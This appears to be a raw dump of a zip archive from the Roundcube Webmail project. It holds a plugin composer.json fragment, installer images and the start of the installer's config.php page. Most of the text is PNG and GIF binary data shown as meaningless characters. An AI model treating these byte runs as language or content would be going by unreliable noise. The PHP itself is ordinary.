    "type": "roundcube-plugin",
    "description": "Proof-of-concept plugin which will fetch additional headers and display them in the message view.",
    "license": "GPL-3.0-or-later",
    "version": "2.0",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\��/55installer/images/error.pngnu�[����PNG


IHDR�a�IDATx�S�A}�o۶m�Im~��7�m۶m;�m۸ۙ^��^�Kaf�T���j������hם
�~?i�_5�����kZ��X�=���9�C����<������e.��Bw�cD�'[J�H�ݍE�LT�%�9�3`>Y׸J��W楦�6L4�9��J�s\ظP���˅{jW�����ԃ;�
�l<
�����յ�`�\����Ktu����W�Rؙ�F:F6���r��g��$h�qQ��)�SCy�yD¸�����`��=>�V>����n_)��:/���&��xu�r�$���71Pzz
��Zxg����m��=��?)`As�c[�L�!�Y�L�꥝gp��M,��G���/����|c�j��[�jߒ�0��qo��N�`V���1~faݽa��Ǘ��ٝ5tb�{t�ҝ�U	E��M�O�-�Z�щmC���f��J�֗�0����\&�[S��)׬��ws���T�IEND�B`�PKh�\q�����$installer/images/banner_gradient.gifnu�[���GIF89a
R�����������������������������������������������������!�,
R��'�di�h��+�5�
����m���؝E�lo�]g��ƥQ��̪�ڹv$]+WB[%4y�f��dL-�0r	^��c}�����x����������������������������������������������		���������	������������������������2d80�@�*h0a�f(�B��3X�xq�FCB ��I�Fw�\��eJ/G�����L�5s�4�S�O
<j� hP�.�@��
C7<���)T��j�T+6������
�~[Vڰi�*��쇹eצ�@�,_|�̷��È+^̸�ἐ�;PKh�\�<)9}}installer/images/delete.pngnu�[����PNG


IHDR�aDIDATxb���?EC�990�
p�Զm+w��ڮ�dk۶m۶�ƴk��}�yü��E�jb�+(�\��	��B^臀��*ȡ>�3���*U�Q.w�޴�Gw����W��|�Ib|`���,�,딓M2y8x�$��#y�,��6 �g��؍��n�=w^�
��I�����y�=t��i?#�s�4����f
i�W�@��qX�<�f�>�qI O�=�(����`��&ޕ�]�,Gh��s��~B<d�K�D9w�S{�_=�8�*	� �vܚY�O�֖�2a4q���4�/���>w�8x�l�l��	ݣ%��N4v��K'!�PZc�#f"�{+n�K�L�w��6�Me�X59�_4���qsL��%|�f���1��:�0^qj%ّ9��TD��c�+��n]��9���x�ݪ�!r�@��y�D��5��y܋�\F�l�2�U�1��&{�*kT�$b"r�|Ki�9p���]L!�/��Rpmt�p�LVy��g'��
v�N�ל��n\W�m�d<�%_v���<�G�M���dO흔n��c:���o��6�
ued��S���ι�,��IEND�B`�PKh�\.���installer/images/add.pngnu�[����PNG


IHDR�aTIDATxb���?EC�'=4�`�/��ڶ�ڶͨnX�m۶5�k�ۯgj��{(l�P�seW;Q�
�?e����)��S���n����j]�g�b�}&��`�Sj�p�a����2MC}�ل]�6�J��
Mo��E% uN��Y��
A�/�����Ox��! �wg��f>�_�H��F�P8$���M
7)�d<5/K������λ��7X��9��|'#�!vB��^.V��!_t؃�㌪��N��QW8���*G��.$S͆h��о�69�x��û��P�	���m�j5�)�����)!�~��q������I�&<�5�Wb���΃`�
���v�5
&q1��Z��ДR
 ���_�=\��aY��2�[�>�!7��lȑ�%��rl
�QI�÷����̚7��t�Qc��l\�����k�h��˲��zǮ�C9���a�й���XsYp��c�#ܽ�
�4婺a�ÿ>��"�`؍V���b �������_�շ��:ʻ�겛�(�B��F���#2D4���߯�Ú��&9*{��ֺ�X�v�4�l�n�ټE��q�N�A���DAF����EIEND�B`�PKh�\��q�0�0%installer/images/banner_schraffur.gifnu�[���GIF89avP���������������������������������������������������������������!�,vP��'�di�h��l�p,�tm�x��|��pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.��
�"-Z��m�>���[���u��x#|��klx���s���v#�"�������#�������s�����m�"����i���ÚĻƽ���m���ҷϻ���м������"�����#��������l��s���o$r��QP`�8�����!B�iJTH�!Ç3*X�1�J�� ����8$;�F���e�"z<�Q"��8y¹��NR=oݴ+��T?U�L�)QPDlRU����Ǭj�ʵ�V�WÞ���r����3i���V+n�9��^%W5.߻t�Vc�vp;�h��K�VU^w�#C����<ɗ'gޜ�/fˠ�2���Q�	ɰaĊ�_��}�uI�-I�鲎� �n)�"
���69��ƕ$=͕>g*SRS�&���S�Gu�<
�|&�]���
Llz�k��w�������}V��<Ǣ�e�\^�[��6�`�w_��1��aF�dk(��c�9s!gn"�|h�P/��bj��ڌ�c��AD#l���[ȝ�N�A�O!�r�0�H5��FsD�NR���S��$�Cm��vB�ٝ�gV�~k�7�Vg�W��p�塁~��������ci�ȧ�%H�g�6��y2J��yF�W��:Z�k$�#}�4�$At����ʪ�����6Ѻ����!�G•��'��2$�?���Q�N��W�:��L��0���I�|`ΕX8uy��`��f��k]�c��-x���^cɵ����[�T�d蟝�u�i�J��jH(��M��a�Di��E �ŊJ��s|ghϣ��{,0$Sf�ƠY<��x��gʙ�9pm��:�i��1��x�%�6�d�>���F��?�&Oגg�RGg5���z��J�W��ZO_*��]���I�vܛ����ֽu��^��l��n���}���3���da{����r��&S�i�O�pÜS�9���0����a!;�rğw���ߋ�Ȭw2겻l{��^{�/cL0��,:���;�G<�N����u�!!t�F6�=�Z���O͐�Hc���9Yk���Z��Uٶ�W{=��R���R���
\q����),����'/��s�\� �A��a���:�9�Eld����ٽ.b/�[H�ҥ0w�˝�d�:�=�v���Xػ�n��{!
i�C�Q�,���(��=�I���~��Mk\TI���2��9��_�r���ͯ~oT���7�퍁t�#��Z�kNx��/�دD��q���?�AC:Ѓc�$7v�I�В����8D��4�!(gHJ"�R�J��*7��.����b��YF��
x%.i9KY�p���%0��Kb�җ�<�ƨ��f�����4�(�gN��֤f4�69��l�#��5�s~����7v�1��� �iA쁚�g�*PKV���|�����tw��$
GiJ�:��
��C*Q[3�E�F/��bz��
�Gc��d
s��K�XE>gbs�X�4ej�kf�3ͦL�C?o��>�7��?z�q��Q�
�w�H��?+�~���PV;��5Lի\}�VfUD�����
��!��H\�\W7�R�5����'�J��Ү{�h;
ґ6���b
RD,���}�d;��X:���5���q/��{&����$�v�bh�������!N�n"ԝ�6~?
�u;$`
�kE}'\�Z��TŸ�M*������jU�*U�*���F�
ֱrL���*u�jV���
m	`)���m�uE�C�K<�f6�(��+������}�~M�XW�R����\���upK�`�V8��奄A
�bv�“M��)<b�bX��̍����,"͵0��Nsc��v�ƻ��t\$�v�@�m������=�֊l5!�Vɶ�m��3\~���u�t`�
���˕
?��\+ow�R�jv�
^�f�-�nY�܁8�w��������W��3���B�u�,-�	ؾY�4�=��6z���.�gFG:Œ�e%�aQ���'v�I���Zժ���A=��x�F��K=j#�x�2���]�[`)gWv��l�M�ޮ&6��m�\cc�ڹ�����md��GU�;n/�;�V�3ʽ�.���J�2��}n���.U+c������j���T7�ٺ\�4�+-�/��
���9��^��W�I��>3�����;
`���&O��W�j��(�5�5��`�%�eo�ؚGZ�3���k�X��|�Bw4�s�/]�=�y,�n���0��g�u����{l��u';������nl��Ŏ�����3����������γ��U��<�/q�C|���oh�/\��d�o	aX[Z�~4�=�>�7}�O�z�_}�H�zΥ.{�W��M�=���7=��79�q~{��~º�yח����;��>}�?���'�ol�o����>��_�ã��G�����G ��_x|g��v���!�����Vz�Fi��F���r��jF�t��{ħz�ƀ0Gu��{�Gj�w|Q���Gs����ǁ��ȁ h��'�؁�OWc8�u��0~SS}��q��<,�u�?�wo7HU�W����Wn��~�1UO����w�K�~��p��	�ׅ��O�p���^�z&�Y ���sn��u�����z�`s+�s�т~�skȇ�&���H���WW�����؇'���'�{���H��X����|؉��>�c�Vm���Ճ@����:~6��������w��h�T�SH���Sh��7f�؋�U�C8���Ì�Ve8q�،�w�|ƌ �Ņ��������a���������K
pz�{ڸ�Ȏ����|�X��x�����8|��������Ȉ�ؐ���� P�i�W7��8��ys����W)�&��	�ُ*�)��X�$Y����V�<Iv>����	p��$0��x�����Hي���M�[H��x��P(�X��[i�Y�~������Z	�eI�_I��7��Ȗg�lɍmY�nYrrɅ��s���t�ਆ�t�=������h����y�
`��is�y�ؘnH�������������)�Y��9����ə.ٙ�x�����ٙ�	)y�-ɒY��9�}�(����������Is+9��i������w�/����ȹ����D�ڹ�<��@����F	�Sy���C�G����)�:��dy��9��X�g9�N�������YI���:�z�j��)�����qxٖ}���Y��H�������ɡ���	�J�#J� j�����ɢ�I�.��2
��9�1J�y����8�����ɛ>��?Z�C*�H���L�Gʤ@�F��R:���NʝZ��C	�����)�_J�f����ɕYIl�����	�p:��#��~�ؖ���|ʕꗁ��:��c�$J����ږ�h��蠏���7z�-��*�����j��ꩡ
��J�ɢ�j�0I���	�S�OZ�T���
����������ګA��S��^:�dJ��Y��z��:��*��ɕn��}Z�Z�x��t��z��sɦ�OC�~�:��
�����ኮ���+���i�
JK#ʨ#Z��� 
��گ4*��9����
��9�����y�=J�/I	[�=ꫵ�k�����ʤCٱ���:�!��٥a
�hʞ�ɬ �0ۥ/���*�]��j��	�1;�3;���A��0�n�G	�GKG�/{�`�I����@�HW��GY�Zی_��[+�M��p�
��sy��j��z��ʘ�j�����n��g��y��z����w;������˯�[�����;�����������{����&�����������������[�G��˺���[�����[��J������뺼K����g��-K�7[�Ik�ŋ��{��۲�ɼ?�}ȋ�@IL��M��S����T����@˽@��˽@r��u�����K�답����L��[�ً��]۾��p���a;���r{�
|������
���������v;{�s#���(,��"|��;��������˹�{�2��3��1�ï��>̻9,�AL�Cl�D�:��I��F��A��O��S�T��W\�Z��\��^��`\�L�拾f\�hL�j��k|�櫿v����t�۴u�z,�{\�}��|�~,Ȁ��<�&��t��ZŽ��$ɉ�”ɕ<ɑ\�C\Ŝ�ɞ�ɠ|š�ğ,ʦLʣ��� ���G���������Dl˭L˻�ʴ���l��ʺ<˲�ʭL̹�˿�_��Ό��[�����+�m|�ٜ�l���w��v˾�<�ጽv��{̾�L��<��\��΅lɑ|�GI����ϖ�B<����8����9�Й|ʝ�ʥ���=�}��˷����Ƽ���Ѽ���ѸL�<�*��,]�)�̲<�!-��l�ܼ�8m�7=�-;������?��D]����|�}ܿ��M���L�R����Ѕ����Z��D|Љ��=�9֤<�-�h}�jM�l��i��0\�r����v]�xm�s}�zM�}��{�ׁ�ׂM���8
�e����c��C-��ٔ-�̽r��s��
����S
�u��r���̴~l�N
��L������՘�Г,�Ym������m���A̴n}��������ñL��ҫ��=� m�r�̾�����L���=����=��=�v�~���
�p��ޅ��[�؍}؎��i������͏-ٌ����r\�n|�n������Ǧ��w\��-����Q}�Gy�ȴM���
�^�(��'��6y�/���{�L;�\���M�˝㼻�U���8�㾝�B��<~����;��
����]��
�U>���}
�O^�W��]����]����(�����S��ON�[���s��u�ߓ��wN�|����}���>�޿.�
������x��=��n�.�����p������ δ ��]���$��FN�����3i�!^�I��@��0����F�K�ƞ�®ܯ�͝�Ѝ��N��=�R��b����^>����V��j���.�ؾ�޾����q>����N����>��M�g�����~�����؝���ڃ��	�����/����?�/�o�n����� ?�>�=�����о�)������2��H��'��In�9?�ڮ�=����'���~�����H���G��D��N/��^�M_�K�S��F�����M�����_�h�����rO����ڡ��z/�{��-?�����~8���;_�Z�����T�[����@���� ����/��K��������?��o����?����0���������p�����?��_������/�c��d����Oao��?�������ڏ��r�o_�pϘ����餝��������O�"_�����A@Q�X����蹺��€M�~S���x� ph"����<*�ϥ��ᐮX
G��^��.��Ղ�a��V���	i¡S&��Z�����������1��5.Rf1>�dbn�lz>�R�b�����v�����R44�ʒ��Ɩ�n�t�n^\���S\?4/c�><+_?h�ts?�c�w�{K����ü�<�����`�<88��'��<
�`r`�7�Q���(��`�(qcć�\T�%G�/!A�}�&�7hZ���e̙WlƁ)�(-8��ɏ"PDMʈ�?J�4]*�RQL�b��TQѪ�X�{*�'�cŒm�j�[���2 ��ܶ�΂jp�5tԾpֶo3��]P���9r���M���"G�႞�}��5�\�(
��3@�$6T�Rv��� {�n�!+�@�7q�:N��q8���}C��q3%��Į�4By���Ο�Ň�Y>�͠챜��iԤ��jE��>����{uU~�%��N��`Z2ؠ��UM]�P(�[r]�V���d�X#Y��}X�%V��b(��"e-�������g��g��VZj=���?2W$v
ig�tK��$tJ:	�IR��VBIJ�]��z_v�z*��g�	f�h�ɦ�k�i�v��}w���xj�'}��瞁����"
�2ʡ��>:!b3�H��$^Z)�1nj)��#=�ģm>�f�����j��^e��b9k��J�����j��j���;����Q&}W��,�-J b��,�b;(��f+���r��}j�W��� ���V[+J*)_"f��|]������)����������*��*<$�@B�pù�J�Ÿ�q�W���ł���v�L�7��ܭ��!��-�)���vKn���<+�j�]r�臐jj���۩Ӡ��)��M-���<�į"|�Y�=��\G�p�gk�q���k�۵�e��	��p%;2�Ϧ���6��7�|�L��8��2�+��?WH�-�
i��R~������0
�/�1"�-IWv5�^o�ϼ��]v��";٭�Ϊ��N��ho��-lo��Gi�Lhi,��1���ҧ��_q~Φ���x�.��8��?h��F�3�B�?����_��?M��h:�8riC���87���S�;�e�;�=01t�\LSA�Y�v�`5zG�	�����@�~�G$a� ���mǛNiH��c9��0�j��‹a�T"-�&�#�ur5=�
I����*:�z8�-�[$�^�^S�(�	��)����>1~�zqԃ���0�ю��c��G>���� �W�j�q~��#��=2����KZr2��$'
�Iv��DL
!�A�0��\�)[Y�W�0��t�,Y	�Y�Җ��]y��їC�I�`�0$=\�2�iLa��V4��h�jV�HԦ��kfq��b�(sʑ�ߋ#:���v�q�\|<�	�wƓ�~L�9�O4��htc	Y�B�s�sL�$�ЇB�}�D97QQ��raG�3��KNT���_E7zQ��'�h.i��]�4�0��Kk�Kd��Ŵ�u�Sd��(�?��̝B���R��á>U���)�:Lh~�]xjV�0ժu�FgW�I�k��0��ϴf/����Z�O���wݫ]��P���{���;*O7ڵ����BjXtFT��d#�H�>��"�@G��P���'�H5�с�V�7��?+S��t����kW�S�������Ԟ�SݭT��԰VU.���n��\�& �u*t�K�U�
3M�j�k]4���jw����խe]/Z����ѕ�	�j=�j�u����=�Y��"ֿ�\�?���ѱ
F��`��Ѳ��,J)la�b�¥�i={Z�r֤�]�hC\�2�-ݰ�qK[�Ű��mq
��u�5fe�}�
rx�k c�MU�wJd�& �@twh��^���]���x^/�����{�k^1���Y=oW㙀�z�pޢ:�|�޷��ݳ��,_>�3ЊMhA�W�W�����gu�Jx���0fQ*�KW����4�;�R�v��u�Y�S�չU��e��!���8�5��K�$�z�.,2o��\�����u���3OY����eck�kV��9�l/���c�.���o痿n�����ms�~V7���n@o����lG5KjN��Ӧ�w�E]j��;�.��b����^u�[�J���lx�)Hq�Z�⸔�kg�]���9�5���ؿN��K�k�z��0W��G��j��о���̀c���@����������F�Λ�th��F�z��̀zjt��:_�._�S}�^�ǎR��s�f�z�ێ����[Ǻ���o����{������{�����s��|�o�����|�Oq�C��<�?��g�� ,�y@��8�l�њ��/_��k�����9�u�d���Qf�������KW>Gu�|�?]�(��p~u�+��֟��߬}�^�oN���v�w��f<��ϟv�c�q�{��/v��[��7�׿n�U�	��`�ڛ�%��Y4`�9�nGY��A^�:H��u��i���� n^� BB�2�
rT�`���� ��`� �����!��a���Y�����E�ڞ�I�b�j�q���y��_zQ�M��a~!י�a��_�!ҡ�͡���a�a���"� b!�D V�">`6�F�.�*�N""6"� 	&b� %*���� &�����"� +� �b~���,�b,��)�`.�"�/R!
�/�b�M!�5��u�F��]3n�f�2N�4F�Н��� ¡��j�7�#��8�c nc:��:��!��6"<J�#�##�%�#?�#�*��@zb*�"�"A
dA*dB2�Cv /.dD6d
�Dڢ.�Bc0cGcH�0V�^#B#5��5R�I�dK��6���a��M��;��N�cN�$O"<��#��=eQJ�fM�"��R:�Q�cT�T^�AZ��A>b)N�F:$Wb�WVdX>�W�%Gf@*���}�Yj$�,�[jdZ��GڥG�H��H�d_�$K�I�d`�%5�_t�dOeb�b:fcB�O
�R��TZfUeSRfeb�?z ��e��J�UN�&6�V��Xvek�&Y��kv%�%ʥZZ$]2�m~\m�e^�&cpg�
_q��_
&a2ga:�`6�tB'b��u.&v>&crg��w�]R֣%�#g.�#6�h6ez�'U�cz
@V i�"@�g��ާ�')�'�	�"�g����-�k�₂%���
"��6hV`G^�]6 HZ@�u�]:`n(��6��h2&j�"㇦�[�$�Vgt٨K�R��(���>��	iKV�`Z@6�]�F�O6�vj���y�'zZ)��gy^�R)�z闂i��g|~�.��`��'j(iƧ���|�皢�h,:�*:�BhA�)i
�
���&B�2$������v�[fhD��(��ؤ�܈����nYj�Uj����^j��j�
��\��jtIj�������j��h��h��*��j���&��+�*�٪
k��+��*�Bk������j�j����ni�:"�z�n�
�ꢦ+����꺾k��k��+�Ϋ��+��+��k��k��j�
����,����Z���B�>�F��V�b��jl�f,�n��~��z�Ȃ,Ɋlɢ�ɪlǦ,˪*���V`��)��k��l͎��,�^����ެ���꫽"��*��2��:m�Bm�6m�.�-�,�b��&��j-��~m~�:,�z��:�ئ����z�ɺl܆������m��m�ޭ�����m��l�֬�
n���l�n�ک�*n�:��Ω�>-�R��Zn�.m�*[f(���b��*�F�֢n�Fl�Z��N��^hز��f��&��~��֮ھ��Nl�-�-��m���-���*o�&ﷂ��Z��6��F��J.�b�.�f�v��j���iю�r.���/����/i�o���n�|���\�/����
���n(����غ������ޮ�®��n�ھ.���-�.�$oȪ0
3�
����pK��+�N/�~�s/����o��0�p��i�&��.���� ��/��'��H1�o��w1[1)b�|n��Bq�������f��B�o�l@��E�w(�:0��3��n�n���Ү�2�	;�np��.$�p�[��R�&kp�~�\r���Jr
[)[��+��2*'�(;ot�2,�2-˲*Ӱ+�$ko�������20��xs1s3/�33334�z ���*f�n3�b3�6�7k3�J@'36�������k;��s�����۳�bq9<�3=����@߳=�30B��0/t,0�3C_�*�?�s�47��2��.!;l(��H�f���H�H�J?�I�4	w�*�rt��[�
G�H�N�t��r.�2!�r.��O���N�2SC�RK��SOuP[�.uTS�P?�T�iW�2X[5R�u/�4C�4�u4S󹞳$�9�5\�u]C�\��9332s^�\�u4[{�����n3?K�x�8��*6:;�cssb_vg3b��:K6@���v6h�3>�3F�s�6j�sA��B�4�Z4E�.J��E���vKC�L2@�vC�6���q�4K��o/wJ��I�is+wnOwr����X_�U5Q�uW��)�jR��RSuI����wO?5{3k$c�Xg�W��W�VuU�N���Z��3_õ�#s`�u�3`���x^�u]�[+�[C8`�ld�34�dc�d_�>/6���t89ws�c6cgv��/?��p�6��xj�8k����x�׸q�v��q+�C2C/wpKwN�o[7L�4�/�K3wu3y�/9�O��_����w�7N��{o�vg�~�y����_p~�wP�����w�y����/������5��5��e�5�빃:\C��;��+�;�x��3v�v��6�Wq������'��׸n�︎�sI��3��:��z��vr�v�N����n�x�Ϻ�K���W��4�gy����{�[��K���y�3��7��/��K;��r�[���eG��'����K�7o���;�#�c{�����K�9�����cq�4��;��x�w:c����{�[�������뻨��n��;+|�;��ӳܱ����W<@c9�����{@ƃ��c�w�_��'�J���o��;ʣ��;���|r��ʫ��;�_y\8�۵3����:�7s�K�c'scﹸ��9�8?3}\;��g3����8�:�ӓx���_}��3���5�wz�o@24���kK|�{vۋx��{��߸�=��go��w�붩#�q_9�<�z�@2����Ńrݟv��1�;,29�K�Ǐ4�|ȟ��>\���>�3wt%�v�|�z�{@{O>�[2�W9��4��r�o0��S��+7�O>R�~�K��߾�'8�/8�3x������u��uc;�>8�K}ٓx9�{������֯��:������7����?x�D
		�'��*��V
�ޛHo�DS�$?�g��|�`�94
Y@�M��ބ�ۀ7�
���8��Y��x�n���-����<�����wT�U�6�H'�(�ǘ9׈Ih'H9��(�99zY):�0����j�)��RKi;��
�zL)�˂�J��
Zh���bR�2�b�"���m��}���ҽ�3M�]r��M��CD%�>�tRo/��"�w0d��gO`�~T��+�É���&��1���7�$�X%"Ǝa�H�pG�{P1��L ?���Q5r�073
�9��,/B��94�&�f~�ZS�RTU���B��'�T���YsW���~}��k�OYe��K��i��a;G7\�oz���-0�t�֩�wP�:�\|0�c�X�)ֻ�ŏv�����A�<qf�N��_A
��ǗL����b��a�vy{%���<��T�$�B�W+׭Y�l�>ghu�؉�z=*���T�~j)���������l����
/������~w�������;�A&B
�Ï���0ف&XadB�a?0�s��
1�J͖Qn�-A�Ꜷ[K+�fp@�6�FG�X�=�$R��U"�tY��z����|G�WK�e\��9�ȔFNEzX~�$��y�U������#��t��9m��f�"����,XYf~�y'Awↀ&�a>�dh��j"��"�2�$iK&wi��n�[����o ��ݎ��wf&�Zfu�}�ޙ�����
��d��k��������f��.�l�Ϊ�h�y�*-��N{���R���r��u���j)��{n���.��kT�Ċy��d�o����o�o=Kp��l�
��0���/���
G���n�n�s�n� k,r�!�L�Ef�
p�����2ǜ�6ߌs�a|��S���=�s�F�Q�Jl��#3�2�N7-u�O_M5�Qk���^
6�GM��f���g��6�eS��YϽ5�S׍��z˝7߿�
x��v�n�}x�o�x�#޸�{s�w�_n��G4x�#�����8鏗���;�z䦷��뷩��䧾;�!;PKh�\=[�
��#installer/images/roundcube_logo.pngnu�[����PNG


IHDR�7N��A�PLTE# FEF# # fff# # # # # # fff# fff# # ((*ffffff# ffffffffffff# ffffff# acc# fff# # # fffffffff# fff# # fff@OT^w�7��ffffff# ffffffffffff# # fff# # # # acc# fff# # # fff# acdffffff# # fff# fffffffffffffffffffff# fff# fff# fff# # fff# # # fffffffff# # fff# # # # ffffff# fff# # fff# # ���fff# # ���7�����7��fff���7��@MR7��7��@OT7��@OS@OT7�����7�����7��7�����������7��������7��h����@OT���@OT���7��������@OT���@OT@OT@OT������?NS@OT7��7��������@IL���@OT���@OT@OT���@OT���=n����-��7��@OT���@OT7��7�@OT���@OT������7��@OT# ���fff���6�=n�@IL���-�����>MS���1��������9IN������<LQ4�����������������BQVn�������8GMH�����������������jux]im@��P�V��������焌�{��JX]#  ;��~�������������ۤ�����Ap�;m�Q^b9CF�Z�8�tRNS�������	����u_!�81�ͳog'��&���ѐ�'���+)Ը_=��X-�ɚ�4
���~viPGD@<,�Ū��{eW0#��rLKA���d�yiG�o7�\TQ���Ʊ�H1���б���~|dU2&	��������λ����gfXO@7)�����ÿ������zuokia[UBT���
�IDATh��ֱ
�0���7v��EHKEJK��T\o82�ҩ��(
A�y�����;�[s֥R�N�)��ԜD�4�bl����Ɖ�{�Gu dV˛��FAr$X;�f�Vg���M�k:&B#��J� +!�k͆��:)�N"�9J�}��Ozu!0�3�)��Th��"^�}��p��IF�T1�_'!�Y��
�D["TYڲ;�l��&(�A��b��r��Y�j���c��tf'�A�~v"T)��%�K��y�:΄wa���!⥚��7n�37�7t�/�̮�G��.�<�woE�`���wm�+�(�B�^��3��R�b��,:�d&D�b���ҽC�B�N�?�ϖB�d�miK��X:��;[u��-�;t����wX��G�!+����t!��?�1A��F��b��n��LJA�U��mVv:E4ӵJ�'ڏ��9",�$�r$ы��T�"��Si�\�pKmM�Un<
N����z�x���@p�	�Y���,`
�	��)VL[N�T���C��~����R~Ր-�Mh�i�h���J��
ƫҘCZ��n���f}ZD����b �''�F2!�-.��`�U��J���x���2��E0��P�*��#"�&�B	�(%�%+���K�I�	�Z�lg��>D��h���$��(UV���_�R1�9Ze��#)%Y)�`!L�Z�A!O\g#���6��JyKE4| ��HsJI�,��
-@�u��[�֙�qJ�?�O�f�ǻ�r2���x,�^�7���1J�ɚ����.P#�PPJ��h�%�CXprD[��ॲ�Jה�����/���o��wɇ�"K�O
���/%~�K�.�.�,tuR�H�#SF(��Z&NiY#E,��^�$n��qJ���}?\�9L)e�1a*04��]S�AT�5�����R
�:M��yi#�n�ɮaI^LKr�IA�r"	6��@0$E)����
�z���ՠV�Xm������OJ?}��L��Jov.&���v�yfD�o�m#]�uH,�7�#Ĵ��lw� R���*T��Ç!Z��2�-;*�����H�,�%�=n��p�KE5Nb�q�y17c�yϿ��D"R	��삐�%B�*%AM����S%��1�{��)9ZR�r�#�81-��m3(�y����,
��*�X��6�!HT!�\l�U�#R��}��X��q�$G��ɇ�{s��K߮�c�$AK�M-�\:�JU2@1
�u�<�b@�,����H>ʨ%�^Ґhˋ/�7T&ѧk�D$r�Q�P����t���G@r��AE��1+�#�W�d��R�-Hp���k�0�ӒIL�(�w��f�v���S�9����O!��93��]Ò�$�ZC&���6��F�
�Y38�����+j��
WbY4u���+M����g��,������[Ї�/�v\�E$�P	�^~p_�s�#|E\@�����r�����9.{c쬮\^Zf@��G��-���ƣ-����$").D�
T
烹������S��Wik�'t��,�����tD�����ȴ��>p�����N�.S�� �����wo>��D����7��(_�ռ���Ws�d�TB/�f�;x���@n��ѥ�#B$�h�kC���)����+vJ9�$���DY"��AES�q�ӆ{�$ߴ���ZI�jm��MO�&:�������Ex�?Z�I��?���8/��8uˊ��i+��W�w�Z ݷ@:w��t��s��? ]�tU��Oy��:%�������E\�f�p3�bPaptd\��f����EݾAD�jm"(���P,� ���EA�p���o�^ޣ?���H��ѵ[��4n��{���[�t�ٟi���/Ȃ�+��{��^E^�9iX�}�Ɋ��2��֛X��P��&�ǁc�2�h�C���0-`��֘��`��#�
�`+c��ʃ��E��20�a��Ch�A�[����%�'lH��9����5!��F�@rr�(9!%��1�r�/�f��^�#X�&J%M�
	2�h��N��t��[��NWX��D99b�m��NlW
/�Y�b^�f��7sBb����ҍ��4QOq��L�Z�^�t�K��f�%��;]+Ĺ-;;�$Αz�.NM���1�Ӝ�tO�F=u�ҚI���f��f�D
xEj�X�Z'�L�t���,�d�*�&�i"�.~�77�@:���T�Ne$N�@2���Bu�N��$r���s4�
���J;���S籉�
�Sn�ҍ>"-���ă+e��E�^oM��v��V�&:�0q��珿F��ߑ@���a�&/ZG�=@�dCv�^�P�*��䦜x�ۆ���W����*��t����[�����ҥ�/�v�x�
�P�T������#ґʓd�su�H�����Mk'3�i�aIE���������t˝т��CH"^cM~��0���X-�7�I>ׇt�#h{��x=��3�
��S{��h7�H�dv�=��ΠkQ�V?���|D:�ɒ��Z`&34
����ԧK�㥰a�`	%f1�0j�@��VP�Ř����Ԣ�x���$�^�d0�a%"�pLc!��D^}��S1��H�0�������޽��?�������W�'�vl�F{�MIEND�B`�PKh�\V|V|Vinstaller/config.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

if (!class_exists('rcmail_install', false) || !isset($RCI)) {
    die("Not allowed! Please open installer/index.php instead.");
}

// allow the current user to get to the next step
$_SESSION['allowinstaller'] = true;

if (!empty($_POST['submit'])) {
  $_SESSION['config'] = $RCI->create_config();

  if ($RCI->save_configfile($_SESSION['config'])) {
     echo '<p class="notice">The config file was saved successfully into'
        . ' <tt>'.RCMAIL_CONFIG_DIR.'</tt> directory of your Roundcube installation.';

     if ($RCI->legacy_config) {
        echo '<br/><br/>Afterwards, please <b>remove</b> the old configuration files'
            . ' <tt>main.inc.php</tt> and <tt>db.inc.php</tt> from the config directory.';
     }

     echo '</p>';
  }
  else {
    $save_button = '';
    if (($dir = sys_get_temp_dir()) && @is_writable($dir)) {
      echo '<iframe name="getconfig" style="display:none"></iframe>';
      echo '<form id="getconfig_form" action="index.php" method="get" target="getconfig" style="display:none">';
      echo '<input name="_getconfig" value="2" /></form>';

      $button_txt  = html::quote('Save in ' . $dir);
      $save_button = '&nbsp;<input type="button" onclick="document.getElementById(\'getconfig_form\').submit()" value="' . $button_txt . '" />';
    }

    echo '<p class="notice">Copy or download the following configuration and save it';
    echo ' as <tt><b>config.inc.php</b></tt> within the <tt>'.RCUBE_CONFIG_DIR.'</tt> directory of your Roundcube installation.<br/>';
    echo ' Make sure that there are no characters before the <tt>&lt;?php</tt> bracket when saving the file.';
    echo '&nbsp;<input type="button" onclick="location.href=\'index.php?_getconfig=1\'" value="Download" />';
    echo $save_button;

    if ($RCI->legacy_config) {
       echo '<br/><br/>Afterwards, please <b>remove</b> the old configuration files'
        . ' <tt>main.inc.php</tt> and <tt>db.inc.php</tt> from the config directory.';
    }

    echo '</p>';

    $textbox = new html_textarea(['rows' => 16, 'cols' => 60, 'class' => 'configfile']);
    echo $textbox->show(($_SESSION['config']));
  }

  echo '<p class="hint">Of course there are more options to configure.
    Have a look at the defaults.inc.php file or visit <a href="https://github.com/roundcube/roundcubemail/wiki/Configuration" target="_blank">Howto_Config</a> to find out.</p>';

  echo '<p><input type="button" onclick="location.href=\'./index.php?_step=3\'" value="CONTINUE" /></p>';

  // echo '<style type="text/css"> .configblock { display:none } </style>';
  echo "\n<hr style='margin-bottom:1.6em' />\n";
}

?>
<form action="index.php" method="post">
<input type="hidden" name="_step" value="2" />

<fieldset>
<legend>General configuration</legend>
<dl class="configblock">

<dt class="propname">product_name</dt>
<dd>
<?php

$input_prodname = new html_inputfield(['name' => '_product_name', 'size' => 30, 'id' => 'cfgprodname']);
echo $input_prodname->show($RCI->getprop('product_name'));

?>
<div>The name of your service (used to compose page titles)</div>
</dd>

<dt class="propname">support_url</dt>
<dd>
<?php

$input_support = new html_inputfield(['name' => '_support_url', 'size' => 50, 'id' => 'cfgsupporturl']);
echo $input_support->show($RCI->getprop('support_url'));

?>
<div>Provide a URL where a user can get support for this Roundcube installation.<br/>PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!</div>
<p class="hint">Enter an absolute URL (including http://) to a support page/form or a mailto: link.</p>
</dd>

<dt class="propname">temp_dir</dt>
<dd>
<?php

